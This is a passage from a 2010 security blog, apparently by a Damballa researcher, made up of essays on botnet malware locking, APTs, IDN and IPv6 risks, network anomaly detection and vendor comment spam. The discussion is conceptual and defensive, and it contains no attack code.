This “locking” process isn’t new in itself. Many commercial software vendors use this technique – for example, Microsoft uses the same technique for detecting pirated versions of their operating system and enforcing their licensing policy.In fact many manufacturers of DIY malware construction kits use the same techniques to protect their toolkits from being both pirated and falling in to the hands of security vendors. However, in this case the botnet operators are using it as a technique to ensure that samples of their malicious bot agents are useless to antivirus vendors.

Sure, a skilled malware reverse engineer could manually work around this kind of software locking mechanism, but its a slow and tedious process even for the most experienced folks – and manual analysis done in this way doesn’t remotely scale in any meaningful way to counter this threat. That said, if the (real) botnet agent also sends through an updated system inventory to the botnet CnC server each time it connects, and the “signature” no longer matches the one that the bonet operator originally associated with that particular botnet agent, then the botnet operator will know that someone is tampering with their software and disconnect the victim from the botnet (or perhaps launch an attack at the investigators/analysts computer)

As botnet operators (and general malware authors) further adopt this kind of victim-specific locking practice to protect their malware investment, and as the sophistication of the locking increases (as it inevitably will), the antivirus industry is going to have to rethink many of the techniques it currently relies upon for sample analysis and signature generation. There is no easy option for countering this new criminal practice.

Sophos - Stop Spamming Me and End Your SEO Campaign

2010-03-18T10:27:00.000-07:00

Spam takes on many different forms. Sure, we're all familiar with the crap that makes it in to our inbox, but what about the other stuff - like the stuff that appears as comments in our blog entries?

Blog comment spam is on the rise, particularly when it's used less as a direct advertising tool and more for Search Engine Optimization (SEO) attacks/manipulation. In most cases I've observed, the SEO-orientated blog spam has been initiated by the bad guys - looking to escalate their infectious drive-by Web sites to the top of search engine results.

Lately though, I've noticed that a well-known security vendor - Sophos - has been employing this tactic. For example, check out the following blog comment submissions (pending moderation):

For the last few weeks there have been similarly themed comment submissions, typically initiated by the same accounts and targeting the same blog entries (based upon keywords).

This tactic is common, and there are a number of tools designed to automated this kind of spam and SEO attack.

What's interesting (and annoying at the same time) is that this repeated spam appears to be initiated by Sophos. As you'll see in the three comments above, the word "malware" is hyperlinked and in all cases points back to http://www.sophos.com/products/malware-protection/

I find this a pretty unsavory tactic, especially if it's initiated by a security company looking to be trusted by its customers.

Sophos - if you're listening - stop your comment spam campaign and end your SEO attacks. It's unprofessional.

San Francisco Security B-Sides

2010-03-16T19:14:00.000-07:00

A couple of weeks ago it was my pleasure to present at the Security B-Sides event in San Francisco - in between all the comings and goings of the main RSA show. For those of you who are interested, the presentation deck is now available.

"Your Computer Is Worth 30¢ - This Battle for Control of Your Computer Isn't Personal, Its Business"

Abstract: The botnet ecosystem is evolving at a rapid pace. Specialized services have come to fill every niche of the hacking world. The frontline is rarely the mechanical process of exploitation and infection - instead it lies with innovative 24x7 support and helpdesk ticketing systems - quality of service is the competitive edge. How much is your computer worth to them? The price point is dropping day-by-day, but 30 cents is a pretty average trade value. Why is it so low? Because your computer is only part of the ecosystem - and a commodity one at that.

APT Dilemmas

2010-02-14T07:09:00.000-08:00

The last month has seen a plague of comments and "expert" opinions materialize related to the Advanced Persistent Threat (APT). In the majority of cases, I'd have to class those very same comments and opinions as ambulance chasing tripe - by people that either have over active imaginations or are just simply looking to capitalize on the confusion generated by the media.

Sure, we're all entitled to our opinions, but there's more to all this. If many of these comments and expert opinions had been directed at an individual or corporation, those "experts" would have found themselves in court over slander charges many times over by now. So perhaps they're personally lucky that their ignorant and ill-educated comments haven't resulted in such actions. On the other hand though, they would appear to be adding kindling to a growing wildfire which will likely affect us all.

There are of course multiple camps of thought in every argument. For many (former) military types, it often appears to be about Nation States driving and incentivising hacking teams to target the assets of a foreign entity. That's they way they were trained to think. Similarly, Nationalism comes in many shapes and forms - and varying degrees of dedication - ranging from wearing a lapel pin through to chanting a pledge of allegiance to a flag (or deity, or prophet) each day. Every country, population or group has different levels and ways of showing nationalistic pride or reverence.

I believe that this applies greatly to APT's. The ability to acquire, retain and motivate a team of hackers capable of orchestrating and executing an APT campaign against a target (global conglomerate, strategic technology provider or government department, etc.) goes beyond meeting a specified financial compensation plan. APT campaigns aren't for the feint of heart. They require a degree of dedication not normally seen in most cyber criminal attacks.

That is not to say that someone can't simply go online and hire a bunch of hackers and build out a team to launch an APT campaign. That's not particularly hard - especially if you've got the cash. However, to keep a campaign flowing and obtain the level of persistence needed to keep the cross-hairs on a target for a year or more - well, that requires something more.

For one thing, running such a long campaign is probably going to need a core team that shares similar (if not identical) core values - nationalistic, political, religious, etc. - and is willing to dedicate the time needed. The dedication element can be brought easily enough, while the core values aspect means that the hacking team will likely have shared many experiences in the past. This of course doesn't prevent the campaign from engaging other external entities and subcontracting out either more specialist attacks or delivery options, but it does mean that tactical elements of the campaign can be passed on to third-parties as and where needed.

So, the dilemma with APT's is that they're a campaign strategy rather than an exploit, hack or attack vector. Which of course confuses many people who think of things solely in terms of attackers and tools - rather than objectives and motivations.

Would I class APT's as nation-state strategies serving as a precursor or reconnaissance for cyber-war? In some extreme cases, yes. I've met and probably helped train (in some fashion or other) several of the individuals that work this angle and are prepared to engage in these kinds of activities. However, many more of these people would refuse to engage in these activities out of nationalistic pride or prejuidice - but are only too happy to offer their persistent attention and services for a fee; being ideal candidates for longer term corporate espionage (e.g. back-dooring of oil pipeline control systems, targeting pharmaceutical research laboratories, accessing patent filing and tracking systems, etc.).

Then again, motivations for engaging and conducting an APT campaign can vary a lot - searching for UFO evidence, saving the whales or even targeting car manufacturers that attempt to hijack and steal other peoples Internet domain names - are all past causes capable of wedding a team together and working towards a common objective.

So, a word of advice then. It's dangerous to think of APT's as being wielded solely by nation-states. Unfortunately APT's are a fact of life - and have been so for well over a decade now. It's just that they've only been spoken about in hushed voices within closely closeted communities before Google said enough is enough to the secrecy.

Internationalized Domain Names and IPv6 Security

2010-02-08T20:12:00.000-08:00

There are three fundamental changes happening right this minute to the Internet we all know and love - each of which will allow it to grow and allow more people to access it or profit from it. As we know from experience, nothing ever stands still for the Internet. Like life on the African Savannah, the old and the sick are easy prey to those who are faster and more agile. Old and vulnerable software, along with aging infrastructure, quickly fall prey to swift and orchestrated attacks from around the world.

Which brings me to the discussion over three of the most important changes on the Internet for quite some time – all of which appear to be reaching their crescendo at the same time. While I’m silently hoping that most people are familiar with the three, I suspect that very few people are as up to speed as they need to be. Which three? IPv6, Internationalized Domain Names (IDNs) and DNSSEC.

Incremental testing and roll-outs of these three technologies has been ongoing for way too long – but it seems that they’re all hitting the Internet (and consequently the Enterprise) at round about the same time. DNSSEC, the late starter, would appear to be in pole position to reach widespread deployment first. Meanwhile IPv6, a technology that has been on the drawing board for over a decade, is finally finding its feet as prophets predict the end of the Internet as old-style IPv4 addresses run out.

From a security perspective, DNSSEC is most strongly affiliated with “making the Internet better” – that is to say, it was designed to overcome many of the security weaknesses and failures of past DNS specifications, implementations and deployments – in particular, certain types of attacks directed at cache poisoning. For enterprise environments, DNSSEC strengthens the overall security of DNS servers and will make them more resilient to many of the attacks that have plagued the Internet for the last couple of decades. There is even talk about how this technology, once deployed widely and mandated for Internet use, will help reduce persistent threats such as spam and phishing. That said, it’s one of the technologies I’d class as important from a security perspective, but isn’t really going to affect the criminals adversely. Great defensive advances from a hacker/cyber-war perspective, much less so from a criminals perspective.

The two other technologies – IPv6 and IDNs – on the other hand are much more interesting from a security and criminal perspective, as they potentially open the doors to many new forms of abuse and attack vectors. I use the term “potentially”, but in reality I mean that they will obviously enable new forms of attacks and enhance many of the existing attacks that have plagued the Internet throughout the last decade.

I’m not going to go in to the technical details of these technologies – if you’re interested in finding out more about them, go HERE for the IPv6 information and HERE for the IDNs information. What I will point out though is that these two technologies have a far reaching impact upon both the vectors through which the bad guys can attack an enterprise through, and upon the security technologies used to detect and analyze subsequent attacks.

IDNs and IPv6 shouldn’t be thought of as an upgrade to existing Internet standards or networks – i.e. migrating from Internet 1.0 to 2.0 – but could conceivably be thought of as a parallel universe where things are kind of familiar, but different at the same time.

How could I describe the changes between IPv4 & IPv6 and the traditional domain system & IDNs? By way of analogy, think about good, old fashioned, radio. The traditional domain name and registration processes (with all the 2LD and 3LD definitions), along with the traditional IPv4 networks can be thought of as operating over AM Radio. Meanwhile IDNs and IPv6 can be thought of as FM Radio. That is to say, moving from one to the other isn’t the same as just turning the dial left or right in search of a new station or frequency. Rather, we’re talking about a kind of change that requires a different kind of receiver – and without the right receiver (AM or FM) you’re not going to be able to pick up the new channels.

The analogy only goes so far though. But just like the electromagnetic waves of radio transmissions are undetectable without the correct receiver and the right tuning, the same concepts apply to IPv6 and IDNs advancements. Without ensuring that your security technologies can actually handle these changes to the Internet or enterprise network, there’s no way you’re going to be able to detect them being abused for malicious and criminal purposes.

A likely question from readers is going to be “Are the bad guys abusing these technologies already?” From casual observation and perhaps being tainted by too many years having to think and act out as one of the bad guys, the answer has got to be “Yes”. But, on the plus side, not to a noticeable or damaging level yet. The bad guys are still in an experimental and prototyping phase – examining the potential vectors for abuse – and largely waiting for the time when it becomes worthwhile launching meaningful attacks that abuse IPv6 and IDN rollouts. I have no doubt that many of the criminal service providers are priming themselves for the new revenue models and competitive edge.

The question I’d leave for readers in return though is “do you think your security systems are capable of detecting and reporting abuse of IPv6 and IDNs?”

Think about it. Which systems and processes do you have in place capable of detecting a brand new phishing site hosted as www.eBay.com where the “B” is the Cyrillic letter Ve and just happens to look exactly like the ANSI “B” character? and what if the SSL/TLS certificate matches, etc. Would you notice that a botnet agent is propagating and establishing peer-to-peer relationships between infected hosts within your own organization over IPv6? Would you be able to scan for, and uncover, a botnet Command and Control service running on a compromised host with an IP address of 2001:db8:85a3::8a2e:370:7334?

While DNSSEC works to close down several vulnerabilities, IPv6 and IDNs open the doors for additional forms of attack and attack vectors. Now would be a great time to double-check that your existing systems are capable of handling these changes – particularly new internationalized domain names such as www.günterollmann.com :-)

Security B-Sides - San Francisco

2010-02-08T19:53:00.000-08:00

A number of people suggested that I offer to speak at the Security B-Sides next month when I'm in San Francisco for the RSA Conference. It looks to be an interesting collection of speakers and topics - but if you'd like me to speak, it would appear that you'll need to vote for my talk proposal.

To vote, go to your twitter account and send the following tweet:

I vote for "Your Computer is Worth 30 Cents" by @gollmann #BSidesSF

Whats the proposed topic?

Your Computer is Worth 30 Cents

In case you haven’t noticed, there’s a war going on. Malware vendors, SEO consultants, exploit pack developers, content delivery specialists and botnet masters are battling for control of your computer. They’re not battling you or the security systems you’ve deployed – they won that war quite some time ago. No, they’re battling each other over who gets to own your computer – and consequently who gets to make money from it.

The botnet ecosystem is evolving at a rapid pace. Specialized services have come to fill every niche of the hacking world. The frontline is rarely the mechanical process of exploitation and infection – instead it lies with innovative 24x7 support and helpdesk ticketing systems – quality of service is the competitive edge. How much is your computer worth to them? The price point is dropping day-by-day, but 30 cents is a pretty average trade value. Why is it so low? Because your computer is only part of the ecosystem – and a commodity one at that.

Messing with Virus Scanning Portals

2010-02-02T15:14:00.000-08:00

OK, so there's been a bit of hubbub surrounding Kaspersky's experiment in abusing the sample sharing ecosystem that has evolved from the VirusTotal virus scanning portal. No surprise, just another example of another security feedback-loop that can be abused for good or ill purposes.

So, changing hats for a minute, I decided to think a little more on how you could intentionally abuse this feedback-loop if you set your mind to it. Needless to say, the opportunities for the so-inclined to mess the system up are present in abundance.

The new blog entry has been posed over at the Damballa site - Killing Antivirus, One DLL at a Time.

Is it likely that someone will do this? hell yeah! ;-)

Network ADS - Playing at Botnet Detection

2010-01-30T18:03:00.000-08:00

With botnets and more recently APT's plastered across the news, you'll struggle to find a security vendor that hasn't spent a furious couple of weeks repositioning their preemptive detection technologies as "anti-botnet" or "anti-APT".

Needless to say, digging a little deeper in to these technologies - beyond their cursory marketing spin - is probably a good idea, especially if your company executives are thrashing about looking to take any steps that'll keep them from being the next Google-like victim and making headline news.

Yesterday I pulled together my thoughts on the use of network-based Anomaly Detection Systems (ADS) in their capacity as botnet detection tools. In a nutshell, NADS is fine for dealing with those big and noisy Internet botnets that everyone writes about in the news, but not much chop against the types of botnets normally found successfully operating within enterprise networks.

My thoughts and analysis can be found on the Damballa blog - Detecting Botnets with Network ADS - and is also cross-posted below...

-------

Many businesses have already deployed Anomaly Detection Systems (ADS) within their enterprises whether they know it or not. Most ADS technologies can be discovered operating at the host-level – typically integrated in to the popular desktop antivirus suites of the major security vendors – where they can be often be found functioning in a hybrid detection mode somewhere between a personal firewall and a behavioral analysis engine.

Network-based ADS (NADS) on the other hand serve a different purpose within large enterprises. Their deployments are far fewer than host-based ADS, and are often used by security teams to detect major changes in network activity – typically analyzing and regulating traffic flow. Optimized to view high volumes of network traffic across an enterprise as fast as possible (in real-time in many cases), they rely upon specially crafted abstract protocols of the traffic – such as NetFlow, JFLow, NetStream, etc. – where content visibility is sacrificed for analysis speed.

Over the last 2 years NADS technologies have increasingly been positioned as having an anti-botnet capability – which has caused much confusion amongst those responsible for managing ADS deployments and those responsible for enterprise-wide security. NADS do in fact have some value as an enterprise-level botnet detection tool, but their capabilities are all too often misrepresented.

How capable are NADS in detecting and mitigating botnets? What are their strengths and weaknesses? The following is a summary of my observations and experiences (garnered over the last 5+ years) in using NADS as an enterprise security technology – warts and all.

Botnet detection & mitigation strengths:

A correctly configured and baselined NADS deployment is capable of detecting the high-volume attack output from certain classes of botnets. By identifying voluminous email sending (e.g. spam agent or spam proxy operation) or crafted port-specific traffic (e.g. DDoS agent operation) and tracking that back to specific hosts, the infected systems operating in this manner can often be classed as being a member of a botnet.
Many general-purpose Internet botnet malware make use of worming capabilities to propagate around enterprise networks by exploiting unpatched software flaws in vulnerable hosts. If a NADS solution has been correctly baselined, it can be relatively easy to spot the anomalous traffic this propagating threat creates – thereby alerting security teams to a new malware outbreak.
By configuring the NADS system to account for “normal working hours”, different detection thresholds can be utilized to aid in the detection of hosts that are actively communicating with botnet Command and Control (CnC) nodes. For example, if a host suddenly commences HTTP or IRC communication with an IP address located in Tibet at 3:00am in the morning – this will likely be very suspicious.
If an organization has suffered a sudden and large botnet infection, the constant polling of some botnet malware variants will quickly become apparent and will aid in the identification of those bot infected hosts.
If the NADS system supports the use of blacklists, a list of known botnet CnC’s can be used as a means of tracking the volume of data that has been sent or received by enterprise hosts that are part of the botnet. Study of this logging can help reveal the scope of a breach and the types of information the criminal botnet operator is targeting.

Botnet detection & mitigation weaknesses:

Very few botnets encountered within enterprises nowadays are noisy and spew copious volumes of spam or participate in devastating DDoS attacks. Botnet masters have largely moved on from this activity – and will only order bot infected hosts to operate this way if they’ve already exhausted all other value from the compromised hosts, or if they never bothered to figure out the infected hosts were actually located within an enterprise (in which case, if they had, they would have probably sold them to someone else for a good price). Therefore, basing detection of a botnet infection on copious volumes of attack traffic is either too late in the botnet lifecycle or was just bothersome (and not a security risk) to begin with.
By basing botnet detection upon the identification of outbound malicious traffic, the enterprise security team have failed to preempt the malicious operation of the botnet and are forced to deal with the voluminous output of an ongoing attack. Detection and mitigation of the botnet control instructions that instructed the attack to begin would have been more efficient and less damaging.
Baselining an enterprise NADS deployment – and keeping that baseline current – is almost impossible in the vast majority of businesses. New application deployments and software updates, along with roaming users and peer-to-peer communications, mean that enterprise network traffic is not as consistent and predictable as it was even only half-a-decade ago. As such, it becomes increasingly difficult to spot the worming traffic generated by botnets attempting to propagate around the network. This has become further complicated by the fact that the malware authors themselves have learned much from past attacks and have intentionally become more stealthy and deliberately slowed their propagation pace to avoid anomaly detection systems.
Botnet malware is more often than not designed to function only when the infected host is actually in operational use by its authorized user. As such, it is increasingly difficult to identify anomalous traffic from real traffic as the user goes about their regular Internet surfing.
Most botnet malware found within enterprise networks are proxy aware. This means that they borrow the users credentials and funnel all their CnC traffic through the corporate proxy servers – i.e. they do not use non-standard ports or protocols to navigate out to the Internet or between internal systems. The vast majority of botnet malware rely upon HTTP or HTTPS for communication.
Timing is everything for botnet operators nowadays. No sooner has a host been compromised through a drive-by-download vector or Trojan file download, that it connects back to its CnC ready to receive both a updated malware package and a new set of instructions. As such, unless the NADS solution is configured to react in real-time to the identification of a new botnet infection, the threat will have either moved on or already become more severe.
Many of the more commercially-minded botnet operators invest in fast-fluxing and domain-fluxing CnC technologies. The unrelenting changes in CnC IP addresses and hosts names can quickly overwhelm NADS systems.

So, in summary, I’d say that NADS does have a role to play in botnet detection – but only a very minor one, and even that’s diminishing all the time. NADS deployments make for capable enterprise-wide network health monitoring systems, but have faltered against advanced threats like botnets and even more stealthy threats such as Advanced Persistent Threats (APT’s). I’d liken NADS to a school nurse – constantly overseeing the health of the entire student population and dealing with the odd knee scrape and cut lip – but not trained or equipped to deal with major head trauma or the results of a shooting spree.

Ablative Security

2010-01-24T18:36:00.000-08:00

The threats facing enterprise networks are incredibly diverse. Attack vectors are constantly changing and a never-ending sea of zero-day vulnerabilities plague those responsible for assuring corporate defenses.

While I'm familiar with just about every host and network security technology on the market today, I've been wondering if there are alternative ways of handling the quadratic equation of threats versus protection.

A concept I'm toying around with relates to Ablative Armor - essentially the concept of a protective armor that is (partially) destroyed in the process of defence - and whether it has legs from a network security perspective.

Ablative materials were used to protect returning space re-entry vehicles for a time, and are currently used as advanced "reactive armor" on heavy tanks and other front-line vehicles. The material and reaction type doesn't matter here for this discussion - merely the fact that these kinds of technologies provide some of he most advanced protection around. However, while they're carrying out their protection, they are similarly consumed by the defense - but (most importantly) leave the key equipment untouched.

Does ablative protection exist in IT security today? In some ways, perhaps it does. While at ISS, we came up with a technology called Buffer Overflow Exploit Protection (BOEP) which was designed to monitor system memory and, if it saw anything that looked like exploitation of a stack overflow, caused the host to immediately shutdown or reboot. BOEP works great as a preemptive protection technology - and in a way you could argue that by causing the system to reboot in this way is inelegant, but it may partially fit the bill of "ablative".

Perhaps the use of active honeypots/honeynets could constitute ablative security? They're throwaway systems designed to lure attacks (and attackers) to them - for both study and diversion - and are generally consumed in the process (i.e. once they're infected/compromised, they can't really be trusted and used for other tasks). But, at the end of the day, perhaps honeypots/honeynets aren't really a defense after all - being merely telescopes for studying attacks rather than front-line defenses of critical assets? Probably.

What about sinkholes? By dynamically/automatically hijacking the command and control domain names used by botnet nmasters and diverting all traffic to a sinkhole - does that constitute an aspect of ablative security? Maybe - after all, once you sinkhole that domain, neither the attacker or target can reuse that domain (or IP address) for much afterwards - and the attackers are alerted to who the defenders are. But still, I'm not so sure.

So, what would ablative security (or armor) look like in a network security sense? I doubt that we'd want the firewall to suddenly start smoking like a Gemini heat shield and shut itself off (permanently) upon thwarting the latest zero-day exploit.

If ablative security revolves around the targeting system being consumed in the process of thwarting an attack, perhaps automatic nuke-and-pave host-level responses are in order. For example, a virtual watcher program monitors the health of the virtually hosted operating system a user is using. They browse a malicious drive-by-download Web site, the "host" gets infected, and starts doing bad things. The canaries within the compromised "host" inform the virtual watcher, which then notifies the user to the fact that they're compromised (perhaps even telling them to take a couple of minutes off to grab a coffee), then automatically proceeds with re-imaging the "host" from a known good/save version. In this model the "canaries" are consumed in the defense of the system.

I think that this approach may be one take on the concept of ablative security, and there must be others. You could argue that the use of canaries for detection borders on honeypot functionality or something else. That said, there's nothing to say that the canaries have to exist within the host environment - and could just as easily (or perhaps more easily) exist at the network level instead.

My gut feel is that the concept of ablative security has a degree of unseen usefulness in protecting against some of the threats out there today and coming at us in the future. I'm going to ponder on it for a while. If anyone has thoughts on the topic, I'd love to hear them.

Whats more important - preemptive, or post-preemptive?

2010-01-24T14:13:00.000-08:00

Preemptive security technologies - they're great, and you can't beat them. Well, that's how it's supposed to work anyway. If only life was so simple.

The core idea behind preemptive protection technologies is to detect and stop entire classes of threat from successfully compromising the integrity of a host, network or application. Sales and marketing teams are only too eager to throw around the "preemptive" term - which can lead to rather embarrassing discussions between customers and technical engineers as the two have work out why a particular threat that was supposed to have been stopped, managed to get through the defenses. Its very rarely because the "preemptive" technology failed to to what it was designed to do - and almost exclusively because of nuances in the attack.

For example, there are litterally dozens of technologies out there being touted as "preemptive" protection against drive-by-download attacks. Some of these technologies focus upon detecting the presence of a shellcode payload, with others may hone in on JavaScript obfuscation techniques. However, despite these preemptive detection technologies, there is a growing list of vectors that bypass each technology. For example, drive-by-download attacks that use Flash scripting instead of JavaScript, or embed the shellcode in a different file - rather than within the JavaScript. The net result is customers scratching there heads and looking for answers. The nuances will often escape them - and the vendors R&D team will have a few late nights adding detection capabilities for the new evasion technique or encoding scheme (if they're lucky).

Don't get me wrong, "Preemptive" protection is damned important. You need it a lot more than some just-in-time signature update. But you've also got to realize that the more ground-breaking the "preemptive" protection is, the narrower its focus is in threat mitigation.

Whats more important than "preemptive" protection? In my mind its post-preemptive protection detection - i.e. being able to rapidly detect when all your combination's of "pre" protection didn't quite work, and your network got nailed despite the effort (and resources) you expended. If you focus exclusively on trying to prevent hosts, networks and applications from being compromised, you're going to have a damned hard time detecting when your systems do in fact get p0w3d by some Internet criminals.

This is particular important when you're facing a more organized and motivated opponent - such as those running an APT operation against your organization.

I discussed this in more detail the other day in my Damballa blog - “Preemptive Protection” Isn’t – If You’re Battling APT’s - and cross posted below...

------>

There’s been no shortage of press covering Advanced Persistent Threats (APTs) this week. While there have been plenty of post-hack discussions over the past few years following the big public breaches, this one’s different – there’s almost a kind of relief that this one’s made it out in the open. I can liken it the relief and revelations that followed that first major tobacco manufacturer’s decision to admit that smoking actually probably wasn’t so good for you after all…

Unfortunately, the revelation of several dozen major organizations being the victim of this particular APT example has just about every security vendor on the planet clamoring to extol and position their latest nicotine patch equivalent. Or, perhaps more appropriately, a lock-box to prevent you from reaching for another cigarette.

In the hussle-bussle of vendors claiming “First” or “Preemptive”, there’s a lot of weighted wordage flying about. But if that’s all true, if a particular vendor was “First” in its discovery, why didn’t they stop the threat or protect the currently known victims? Didn’t they understand the significance of what they had already discovered? Did they choose to keep the information to themselves for competitive advantage? I can’t answer those questions – and frankly any answers I’d likely receive in return from these “First” vendors would probably be carefully word-smithed by a gaggle of marketing folks.

What about “Preemptive”? I like that word – it’s important. Having developed and invented many security technologies that fall in to that bucket over the last decade, I can categorically state that “Preemptive” is good. But (and you know there’d be a “but”), it’s not good enough…

Those nicotine patch equivalent vendors are going on about how they could/would/will/have/might preemptively…

…detect the fact that the user is visiting a URL that’s probably dangerous
…detect the malicious JavaScript or HTML that delivered the exploit
…detect the exploit shellcode
…detect the buffer overflow
…detect the memory manipulation of the exploit
…detect the malicious payload
…detect the malware component
…detect the malicious behaviors of the compromised application
…detect the inappropriate behaviors of the compromised host
…detect the malicious network behaviors

…and by “detecting” the APT, they’d have been able to protect against it (or an aspect of it). But at the end of the day, all those technologies, for one reason or another, failed to protect these organization from being a (very public) victim of the APT.

Why? Because APT’s aren’t like average-Joe malware, botnets, script-kiddies, hackers, fraud artists and cybercriminal attacks. The thing that makes APT attacks different from the other forms of cyber-attack can best be summed up with the mantra “if at first you don’t succeed – try, try and try again.”

The vast majority of Internet attacks – especially mass Internet botnets – are opportunistic attacks. The bad guys have a broad objective in mind along with a number of tools they specialize in and have a ceiling to the amount of effort they’re willing to expend. They will optimize a particular attack vector, select the preferred delivery method, and pound the Internet (and everyone on it) with that toolset until they’re acquired enough victims. So, while many of the attacks may appear to be “targeted” (e.g. Spear Phishing), their objectives are rather limited (e.g. immediate financial fraud), and if they don’t succeed against the currently highlighted target they’ll simply move on to the next.

APT’s don’t follow this model. If a particular attack vector, tool, technology or exploit didn’t (or is unlikely to) work, they switch to another – never changing targets nor focus.

What does that mean in practice? Regardless of the perimeter or host security technology you deploy, and how “preemptive” it is, it isn’t going to stop an APT. Sure, each “preemptive” technology worked just fine – stopping each and every attack vector, malicious payload or strange behavior it was supposed to – but the criminal operators targeting your organization just move on to the next tool or vector until they find one that works. And lets not forget (or kid ourselves), this probing of network defenses and “preemptive” protection doesn’t happen as an overnight barrage of simultaneous attacks from a small cluster of IP addresses tracked down to the Chinese Army. No, this is low and slow stuff spread over many days, weeks or months, routed via a variety of sources and proxies from around the world – or even through your business partners.

So, can all of these nicotine patch sellers protect your organization against APT’s? No, of course not. They can protect against many of the vectors that may be tried and probably identify the particular exploit or malware they end up using, but at the end of the day APT’s will win.

Which brings me to my final point. I don’t care how you got infected or became the latest APT victim – because you will be – so get over it and do something already. If a criminal operations team is willing to spend the time, effort and monies to target your organization, they will win! So, how do you defeat APT’s? Simple, you detect their presence as fast as you possibly can and remediate the victims almost as fast.

OK, so “preemptive” protection is important – but being able to know when that “preemptive” protection has failed is even more important!

FailSafe

Let me put on my Damballa hat for the moment. I’ve been getting a bunch of queries about whether the Damballa FailSafe solution detects the “Google APT thing in the news”. The answer is Yes, and many of the other APT’s that you haven’t heard about (and are unlikely to hear about). You see, from our technology perspective, we don’t care how you became a victim either (you can debate that’s my influence or cynicism leaking through). Lying at the heart of our technology is the ability to identify the suspicious and unauthorised remote control of systems within the enterprise. All this is done at the network level and an APT’s command and control (CnC) is generally no different from a successful mass-Internet botnet, an insider threat or even a remote access trojan hand placed by a criminal operative. The motivations behind a botnet, insider threat and APT may be wildly different – but the CnC communications do not.

It gets a little tougher distinguishing between a brand new targeted botnet, an insider threat or an APT purely from their CnC traffic. But in reality the trick is to identify those threats that have already navigated your layers of corporate defenses and shut them down. Deciding which particular threat was politically/financially/ethics motivated comes afterwards.

Was this “Google APT thing in the news” the first APT to place Google under it’s cross-hairs? No. Is it the only APT targeting Google? No. Will it be the last APT to be targeting Google? No. Will targeted enterprises be able to prevent APT’s from getting in? No. Is it possible to detect when an APT has successfully bypassed all your “preemptive” protection technologies and compromised your systems? Yes.

Advanced Persistent Threats

2010-01-21T10:14:00.000-08:00

I've been getting lots of questions on what precisely is an Advanced Persistent Threat - or APT for short - from all kinds of angles.

As such, the Damballa team have created the executive two-pager that helps answer "What is an Advanced Persistent Threat?"

Tethered Espionage

2010-01-13T19:24:00.000-08:00

News of corporate espionage amongst the Fortune-100 - with targets like Google and Adobe - has been breaking all day. It's interesting to note the thoughts of the different commentators and their take on the China slant.

Earlier today I blogged (rather extensively) on my take of the news. You can find those comments posted here - Corporate Espionage and Tethered Criminal Actions - and copied below...

--------------------

The media is buzzing with the latest news concerning Google and Adobe and the targeted attacks directed at their corporate systems. While it’s news, it’s important to understand that this isn’t something that’s only just happened – rather it’s been something that both these organizations (and dozens more) have been subjected to for quite some time; it’s just become public, and they’re admitting to be the victims. But this is important.

I’ve been providing security consultancy advice for a couple of decades. I’ve been pulled in to do post attack forensics along with specialized pentesting, bug-hunting and reverse engineering for the majority of the Fortune 500 companies and in all that time, unless they were required to by law, not one have gone public about the attacks they were subjected to and the losses they have incurred. That’s why this Google/Adobe/etc. news is so significant – some Fortune-500 companies are actually saying “hey, enough already, we’re under constant attack – we need to do something collectively about this!”

Whats the primary vehicle for these (ongoing) attacks? You’ll hear plenty of discussion portraying viruses and malware as being the problem, and plenty of implications that the Chinese government lies behind the attack(s). But let’s be clear – that’s a fantastically simplistic view of the threat. Implying that the threat lies with targeted malware and China is like saying that drunk driving deaths are due to poor car design, and that the underlying cause is a particular beer brewery.

Malware is just a tool. The fundamental element to these (and any espionage attack) lies with the tether that connects the victim with the attacker. Advanced Persistent Threats (APT), like their bigger and more visible brother “botnets”, are meaningless without that tether – which is more often labeled as Command and Control (CnC).

The methods for getting a malware agent into an organization and on to key/critical hosts are incredibly diverse but, most importantly, can best be phrased as “trivial”. If someone wants to infect systems within a targeted organization and is willing to spend more than a few thousand dollars worth of effort to do so, it’ll happen – simple as that. Just as importantly, the malware being distributed and used in these kinds of attacks can be thought of as a Swiss Army knife with Klingon cloaking capabilities.

I jest only in part about the Klingon cloaking part – but it actually works well as a visual metaphor. Just as the Klingon Warbirds must decloak in order to launch their attack with photon torpedoes etc., APT’s and botnets must decloak themselves at the network level in order to maintain their CnC connections and be successful in harvesting espionage data. While APT’s are more surreptitious when it comes to CnC connectivity, their weakness lies in their network communications. At the host level, the probability of detecting an installation prior to actual financial/legal damage lies largely in the realm of dragons and mermaids.

Looking at the botnets we identify and track at Damballa that target enterprise networks, many of them fall in to the classification realm of APT’s. The malware component is under constant change – often being updated on a daily basis. Meanwhile the low-and-slow stealthy CnC traffic navigates the corporate network, weaves it’s way through fast fluxing networks and stratified levels of command relays, and makes it back to the team who’s really in control of the compromised assets – a bunch of contracted criminals located somewhere safe and far away. I use the term “team” on purpose because this is an organized collective of professional operators – each with their own skills and specialties.

I see a lot of discussions about preventing systems from being compromised – in fact most of the security business today is exclusively focused on threat prevention. But, you know what, every year (for the last two decades at least) as antivirus vendors release their annual threat reports the percentage of hosts known (or suspected) of being a victim and running malware has increased. As we launch in to 2010, I think the percentage most industry experts and veterans would throw about would be 35-40 percent of all Internet connected systems are compromised and currently running malware. Despite the terrific advances in detection, mitigation and cleanup – the numbers continue to go up. Despite the new detection technologies, the bad guys retain their lead. APT’s related malware lie in a particular niche, but they aren’t being prevented from getting in to an targeted organization. Let’s just face facts – if someone wants in on your organization and are willing to invest time and resources to do so, the probability that they will be successful in doing so certainly favors them.

Detecting and mitigating the CnC – breaking that tether of control – lies at the heart of dealing with this threat. By blocking those CnC channels, the bad guys can’t remotely control your enterprise systems, and they can’t extract the secret data they want. Tracing back who lies at the end of the CnC communication ultimately leads to he contracted criminals running the operation. The fact that those criminals happen to be located in a particular country is only part of identifying the instigators of the threat – but it’s probably as far as we’ll get.

Like I said earlier, I’ve had to deal with many of these threats before. In the UK, it appeared that many of the corporate espionage attacks were masterminded by French or US entities. In Taiwan it appeared to be China and South Korea. In China it appeared to be Taiwan and Australia. In Greece it appeared to be Turkey and Egypt. And so on… but those are only my specific experiences. [unfortunately, not a single corporate victim ever went public about the attacks they fell victim to - and probably never will... sigh]

With regards to the APT’s and botnets that Damballa tracks, detects and mitigates… well, those CnC’s are spread around all over the world and most likely reflect the locations of the professional teams that contract out there services, rather than the location of their their ultimate customers.

